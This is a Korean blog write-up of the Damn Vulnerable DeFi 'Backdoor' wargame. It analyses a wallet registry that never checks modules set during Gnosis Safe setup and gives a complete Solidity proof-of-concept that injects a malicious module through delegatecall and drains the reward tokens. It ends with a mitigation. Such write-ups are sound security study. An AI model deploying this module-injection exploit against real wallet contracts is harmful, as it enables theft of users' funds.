Damn Vulnerable DeFi-Backdoor
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
월렛에 임의의 모듈이 추가되었는지 확인하지 않아 모듈을 추가할 수 있고, 이를 통해 임의의 컨트랙트콜이 가능하다.
Keyword
wallet, arbitrary contract call, input validation, theft
Vulnerability
To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens. To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks. Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them. Your goal is to take all funds from the registry. In a single transaction.
팩토리패턴을 이용하여 월렛을 배포한다. 이 때, createProxyWithCallback 함수를 이용하며 파라미터로 WalletRegistry 컨트랙트 주소를 넣으면 WalletRegistry 의 callback 함수가 호출된다. 이 기능을 이용하여 WalletRegistry 에 생성된 월렛을 등록해 관리하고, 미리 beneficiary로 등록된 유저들에게 리워드 10 DVT 토큰을 준다.
GnosisSafeProxyFactory.createProxyWithCallback 함수로 프록시를 새로 배포하고, 지갑을 초기화한다. 다음은 createProxyWithCallback 함수이다. _singleton 파라미터는 프록시의 로직 컨트랙트이다. initializer 는 프록시를 배포한 후 초기화하기 위해 호출할 함수와 함수 파라미터이다.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}initializer 파라미터를 이용하여 프록시를 배포한 후 setup 함수를 호출해 초기화해야 한다. 다음은 로직 컨트랙트가 되는 GnosisSafe.setup 함수이다.
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}다음은 WalletRegistry 컨트랙트쪽의 callback 함수이다. GnosisSafeProxyFactory.createProxyWithCallback를 호출할 때, callback 파라미터로 WalletRegistry 컨트랙트 주소를 넣으면 프록시가 배포되고 초기화된 후 호출된다.
callback함수에서는 공격자가 임의로 셋팅하지 못하도록 다음을 제한한다.
- callback함수를 외부에서 호출할 수 없음
- 지갑의 로직 컨트랙트를 변경할 수 없음
- 지갑 배포 후 초기화해야 함
- 트랜잭션 실행 시 서명은 하나만 확인하면 됨
- owner는 한명만 존해하며 이는 beneficiary로 등록된 유저
- fallback에 악성 컨트랙트등록 불가
function proxyCreated(GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256)
external
override
{
if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) { // fail early
revert NotEnoughFunds();
}
address payable walletAddress = payable(proxy);
// Ensure correct factory and master copy
// @audit-info 임의 호출 불가
if (msg.sender != walletFactory) {
revert CallerNotFactory();
}
// @audit-info 지갑 로직 조작 불가
if (singleton != masterCopy) {
revert FakeMasterCopy();
}
// @note 상위 4바이트 비교
// @audit-info 지갑 초기화 필수
// Ensure initial calldata was a call to `GnosisSafe::setup`
if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
revert InvalidInitialization();
}
// @audit-info 트랜잭션 실행시 서명 확인은 한개만
// Ensure wallet initialization is the expected
uint256 threshold = GnosisSafe(walletAddress).getThreshold();
if (threshold != EXPECTED_THRESHOLD) {
revert InvalidThreshold(threshold);
}
// @audit-info owner 1명만 등록 가능 임의의 주소를 owner로 넣었는지, owner가 한명뿐인지 등을 확인해야 함. wallet 생성 자체는 아무나 호출 가능하기 때문.
address[] memory owners = GnosisSafe(walletAddress).getOwners();
if (owners.length != EXPECTED_OWNERS_COUNT) {
revert InvalidOwnersCount(owners.length);
}
// Ensure the owner is a registered beneficiary
// @audit-info 위에서 owner가 1명뿐인지 확인하기 때문에 OK.
address walletOwner;
unchecked {
walletOwner = owners[0];
}
if (!beneficiaries[walletOwner]) {
revert OwnerIsNotABeneficiary();
}
// @audit-info fallback에 악성 컨트랙트 등록 불가
address fallbackManager = _getFallbackManager(walletAddress);
if (fallbackManager != address(0))
revert InvalidFallbackManager(fallbackManager);
// Remove owner as beneficiary
beneficiaries[walletOwner] = false;
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
// Pay tokens to the newly created wallet
SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);
}여기서 한가지 확인을 빼먹은 것이 있다. 바로 임의의 모듈이 등록되었는지 확인하는 것이다. GnosisSafe.setup 의 코드를 다시 보면, setupModules(to, data); 코드를 확인할 수 있다. 월렛에 모듈을 등록하면 해당 모듈은 월렛에게 임의의 call 또는 delegateCall을 실행시킬 수 있다.
다음은 GnosisSafe.setupModules 함수이다. to 에 있는 로직을 delegateCall을 이용해 호출한다. 이를 이용하여 enableModule 를 호출시키면 모듈을 등록할 수 있다. authorized modifier를 주의한다.
function setupModules(address to, bytes memory data) internal {
require(modules[SENTINEL_MODULES] == address(0), "GS100");
modules[SENTINEL_MODULES] = SENTINEL_MODULES;
if (to != address(0))
// Setup has to complete successfully or transaction fails.
require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}
function enableModule(address module) public authorized {
// Module address cannot be null or sentinel.
require(module != address(0) && module != SENTINEL_MODULES, "GS101");
// Module cannot be added twice.
require(modules[module] == address(0), "GS102");
modules[module] = modules[SENTINEL_MODULES];
modules[SENTINEL_MODULES] = module;
emit EnabledModule(module);
}
...
contract Executor {
function execute(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 txGas
) internal returns (bool success) {
if (operation == Enum.Operation.DelegateCall) {
// solhint-disable-next-line no-inline-assembly
assembly {
success := delegatecall(txGas, to, add(data, 0x20), mload(data), 0, 0)
}
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
success := call(txGas, to, value, add(data, 0x20), mload(data), 0, 0)
}
}
}
}또한 한번 등록해둔 모듈은 execTransactionFromModule 함수를 통해 월렛으로부터 임의의 함수를 호출시킬 수 있다. delegateCall을 이용하면 월렛의 스토리지까지 조작 가능하다.
function execTransactionFromModule(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) public virtual returns (bool success) {
// Only whitelisted modules are allowed.
require(msg.sender != SENTINEL_MODULES && modules[msg.sender] != address(0), "GS104");
// Execute transaction without further confirmations.
success = execute(to, value, data, operation, gasleft());
if (success) emit ExecutionFromModuleSuccess(msg.sender);
else emit ExecutionFromModuleFailure(msg.sender);
}다음은 공격 컨트랙트를 모듈로 등록한 뒤 월렛 소유의 DVT 토큰을 전송하는 PoC 이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract BackdoorPoC {
constructor(
address[] memory _beneficiaries,
GnosisSafeProxyFactory _factory,
address _singleton,
IERC20 _erc20,
IProxyCreationCallback _callback
) {
BackdoorPoCModuleSetter _setter = new BackdoorPoCModuleSetter();
uint256 length = _beneficiaries.length;
address[] memory _owners = new address[](1);
for(uint256 i = 0 ; i < length; i ++){
_owners[0] = _beneficiaries[i];
// 지갑 배포
bytes memory initializer = abi.encodeWithSelector(
GnosisSafe.setup.selector,
_owners, // wallet owners
1, // _threshold. 트랜잭션 실행 시 필요한 서명 개수
address(_setter), // to. 모듈 초기화 셋팅코드 있는 주소. delegate call로 호출됨
abi.encodeWithSelector(BackdoorPoCModuleSetter.setupModule.selector, address(this)), // 모듈 초기화 data. delegate call로 호출됨
address(0), // fallbackHandler
address(0), // paymentToken, 0 is ETH
0, // payment
payable(0) // paymentReceiver
);
address proxy = address(_factory.createProxyWithCallback(_singleton, initializer, 0, _callback));
// 토큰 회수
ModuleManager(proxy).execTransactionFromModule(
address(_erc20),
0,
abi.encodeWithSelector(
IERC20.transfer.selector,
address(this), // to
10 ether // amount
),
Enum.Operation.Call
);
}
// 공격자에게 토큰 전달
_erc20.transfer(msg.sender, _erc20.balanceOf(address(this)));
}
}
contract BackdoorPoCModuleSetter {
function setupModule(address _poc) public {
ModuleManager(address(this)).enableModule(_poc);
}
}다음은 PoC를 배포하는 자바스크립트이다.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const backdoorFactory = await ethers.getContractFactory('BackdoorPoC', player);
await backdoorFactory.deploy(users, walletFactory.address, masterCopy.address, token.address, walletRegistry.address);
});Impact
남의 Wallet으로 임의의 컨트랙트콜을 시킬 수 있다. 이를 이용하여 자산을 탈취할 수 있다.
Mitigation
임의의 모듈을 등록할 수 없도록 proxyCreated 함수에서 확인한다.
Memo
Solidity에도 initializer[:4] 와 같이 슬라이싱 하는 문법이 있는 것을 처음 알았다. 개발하면서 한번도 사용해보지 않은 문법인데, 바이트 단위로 슬라이싱하자니 로우레벨적이어서 앞으로도 개발에 이용할 것 같지는 않다.
Gnosis wallet 코드를 처음 보았는데, 버그헌팅 사례 조사 스터디를 할 때 보았던 ERC-4337 구현과 굉장히 흡사했다. Gnosis wallet을 완전히 뜯어보고 이해하면 다른 프로젝트를 이해할 때도 크게 도움이 될 것 같다.
constructor가 완료되지 않은 컨트랙트 함수로는 delegate call을 할 수 없는 것 같다. 처음에는 BackdoorPoC 컨트랙트에 setupModule 함수를 넣고 호출하려 했다. 이러면 BackdoorPoC constructor → Factory → Proxy → BackdoorPoC.setupModule 에 delegate call 하는 흐름이 되는데, BackdoorPoC 의 초기화가 끝나지 않아 delegate call이 안되었다.
tags: writeup, blockchain, solidity, smart contract, account abstraction, arbitrary contract call, gnosis safe, lack-of-input-validation-vul, crypto theft, wallet